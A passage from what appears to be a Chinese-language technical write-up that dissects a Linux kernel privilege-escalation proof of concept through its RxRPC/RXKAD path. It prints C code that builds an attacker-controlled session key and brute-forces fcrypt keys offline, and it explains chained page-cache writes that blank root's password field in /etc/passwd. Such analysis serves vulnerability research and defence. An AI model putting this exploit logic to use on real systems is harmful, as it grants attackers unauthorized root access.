&#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">su</span></code><span leaf="">认证就能被绕过去。</span></p><h2 data-line="408" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">RxRPC路径代码块解析</span></h2><p data-line="410" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">RxRPC的第一步是准备攻击者控制的session key。PoC构造RxRPCv1token，把</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SESSION_KEY</span></code><span leaf="">塞进去，再用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">add_key()</span></code><span leaf="">注册到当前进程keyring。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="412" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">uint8_t</span></span><span leaf=""> SESSION_KEY[</span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">] = {</span><br/><span style="color: rgb(0, 128, 0);"><span leaf="">0x41</span></span><span leaf="">,</span><span style="color: rgb(0, 128, 0);"><span leaf="">0x41</span></span><span leaf="">,</span><span style="color: rgb(0, 128, 0);"><span leaf="">0x41</span></span><span leaf="">,</span><span style="color: rgb(0, 128, 0);"><span leaf="">0x41</span></span><span leaf="">,</span><span style="color: rgb(0, 128, 0);"><span leaf="">0x41</span></span><span leaf="">,</span><span style="color: rgb(0, 128, 0);"><span leaf="">0x41</span></span><span leaf="">,</span><span style="color: rgb(0, 128, 0);"><span leaf="">0x41</span></span><span leaf="">,</span><span style="color: rgb(0, 128, 0);"><span leaf="">0x41</span></span><span leaf="">,</span><br/><span leaf="">};</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">build_rxrpc_v1_token</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">uint8_t</span></span><span leaf=""> *out, </span><span style="color: rgb(163, 21, 21);"><span leaf="">size_t</span></span><span leaf=""> maxlen)</span></span><br/><span leaf="">{</span><br/><span leaf="">	*(</span><span style="color: rgb(163, 21, 21);"><span leaf="">uint32_t</span></span><span leaf=""> *)p = htonl(</span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">);</span><br/><span leaf="">	*(</span><span style="color: rgb(163, 21, 21);"><span leaf="">uint32_t</span></span><span leaf=""> *)p = htonl(</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">);</span><br/><span leaf="">	*(</span><span style="color: rgb(163, 21, 21);"><span leaf="">uint32_t</span></span><span leaf=""> *)p = htonl(</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">memcpy</span></span><span leaf="">(p, SESSION_KEY, </span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">);</span><br/><span leaf="">}</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">add_rxrpc_key</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *desc)</span></span><br/><span leaf="">{</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> key_add(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;rxrpc&#34;</span></span><span leaf="">, desc, buf, n, KEY_SPEC_PROCESS_KEYRING);</span><br/><span leaf="">}</span></code></pre><p data-line="431" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sec_ix=2</span></code><span leaf="">表示RXKAD。内核后面建立安全上下文时，会用这个session key初始化</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pcbc(fcrypt)</span></code><span leaf="">cipher。</span></p><p data-line="433" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">接着PoC在用户态复刻了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fcrypt</span></code><span leaf="">，做离线搜索。它没有尝试约束完整8字节，因为那样代价太高，而是只约束最终</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/etc/passwd</span></code><span leaf="">格式必须成立的字节。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="435" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">inline</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">fc_check_pa_nullok</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">uint8_t</span></span><span leaf=""> P[</span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">])</span></span><br/><span leaf="">{</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> P[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">] == </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;:&#39;</span></span><span leaf=""> &amp;&amp; P[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">] == </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;:&#39;</span></span><span leaf="">;</span><br/><span leaf="">}</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">inline</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">fc_check_pb_nullok</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">uint8_t</span></span><span leaf=""> P[</span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">])</span></span><br/><span leaf="">{</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> P[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">] == </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;0&#39;</span></span><span leaf=""> &amp;&amp; P[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">] == </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;:&#39;</span></span><span leaf="">;</span><br/><span leaf="">}</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">inline</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">fc_check_pc_nullok</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">uint8_t</span></span><span leaf=""> P[</span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">])</span></span><br/><span leaf="">{</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (P[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">] != </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;0&#39;</span></span><span leaf="">) </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (P[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">] != </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;:&#39;</span></span><span leaf="">) </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (P[</span><span style="color: rgb(0, 128, 0);"><span leaf="">7</span></span><span leaf="">] != </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;:&#39;</span></span><span leaf="">) </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">; i &lt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">7</span></span><span leaf="">; i++) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (P[i] == </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;:&#39;</span></span><span leaf=""> || P[i] == </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;\0&#39;</span></span><span leaf=""> || P[i] == </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;\n&#39;</span></span><span leaf="">)</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">	}</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">;</span><br/><span leaf="">}</span></code></pre><p data-line="459" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这三个谓词对应三次重叠写：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="461" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">offset4写8字节，最终只保留第0到第1字节，目标是::</span><br/><span leaf="">offset6写8字节，最终只保留第0到第1字节，目标是0:</span><br/><span leaf="">offset8写8字节，最终保留全部8字节，目标是0:任意合法5字节:</span></code></pre><p data-line="467" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">因为三次写入区域重叠，后写覆盖先写，最后效果是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="469" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">root:x:0:0:root:/root:/bin/bash</span><br/><span leaf="">root::0:0:GGGGGG:/root:/bin/bash</span></code></pre><p data-line="474" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">离线搜索函数保留了最小循环：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="476" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">find_K_offline_generic</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">uint8_t</span></span><span leaf=""> C[</span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">],</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span leaf=""> max_iters, pcheck_fn check,</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uint8_t</span></span><span leaf=""> K_out[</span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">], </span><span style="color: rgb(163, 21, 21);"><span leaf="">uint8_t</span></span><span leaf=""> P_out[</span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">],</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span leaf=""> seed_init, </span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *label)</span></span><span leaf="">{</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span leaf=""> iter = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; iter &lt; max_iters; iter++) {</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">uint64_t</span></span><span leaf=""> r = fc_splitmix64(&amp;seed);</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">memcpy</span></span><span leaf="">(K, &amp;r, </span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">);</span><br/><span leaf="">		fcrypt_user_setkey(&amp;ctx, K);</span><br/><span leaf="">		fcrypt_user_decrypt(&amp;ctx, P, C);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (check(P)) {</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">memcpy</span></span><span leaf="">(K_out, K, </span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">memcpy</span></span><span leaf="">(P_out, P, </span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">		}</span><br/><span leaf="">	}</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">-1</span></span><span leaf="">;</span><br/><span leaf="">}</span></code></pre><p data-line="498" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这个函数完全在用户态跑，不触发内核漏洞。它只是找一个合适的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">K</span></code><span leaf="">，让</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fcrypt_decrypt(C,K)</span></code><span leaf="">的输出满足passwd行格式。</span></p><p data-line="500" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第二次和第三次搜索不能直接使用原始文件字节。第一次写入之后，offset6开始的8字节已经变了；第二次写入之后，offset8开始的8字节也变了。PoC专门修正了这个链式关系：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="502" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">find_K_offline_generic(Ca, max_iters,</span><br/><span leaf="">	fc_check_pa_nullok, Ka, Pa_out, seed_base, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;K_A&#34;</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">memcpy</span></span><span leaf="">(Cb_actual, Pa_out + </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">6</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">memcpy</span></span><span leaf="">(Cb_actual + </span><span style="color: rgb(0, 128, 0);"><span leaf="">6</span></span><span leaf="">, Cb + </span><span style="color: rgb(0, 128, 0);"><span leaf="">6</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">);</span><br/><span leaf="">find_K_offline_generic(Cb_actual, max_iters,</span><br/><span leaf="">	fc_check_pb_nullok, Kb, Pb_out, seed_base, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;K_B&#34;</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">memcpy</span></span><span leaf="">(Cc_actual, Pb_out + </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">6</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">memcpy</span></span><span leaf="">(Cc_actual + </span><span style="color: rgb(0, 128, 0);"><span leaf="">6</span></span><span leaf="">, Cc + </span><span style="color: rgb(0, 128, 0);"><span leaf="">6</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">);</span><br/><span leaf="">find_K_offline_generic(Cc_actual, max_iters,</span><br/><span leaf="">	fc_check_pc_nullok, Kc, Pc_out, seed_base, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;K_C&#34;</span></span><span leaf="">);</span></code></pre><p data-line="517" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">如果这里不修正</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Cb_actual</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Cc_actual</span></code><span leaf="">，离线算出来的key在真实内核触发时就会错位。RxRPC分支能稳定落点，靠的就是这处链式修正。</span></p><p data-line="519" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">内核写入由</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">do_one_trigger()</span></code><span leaf="">触发。握手和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CHALLENGE</span></code><span leaf="">部分只负责让客户端建立RXKAD上下文，页缓存写入集中在构造DATA头和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 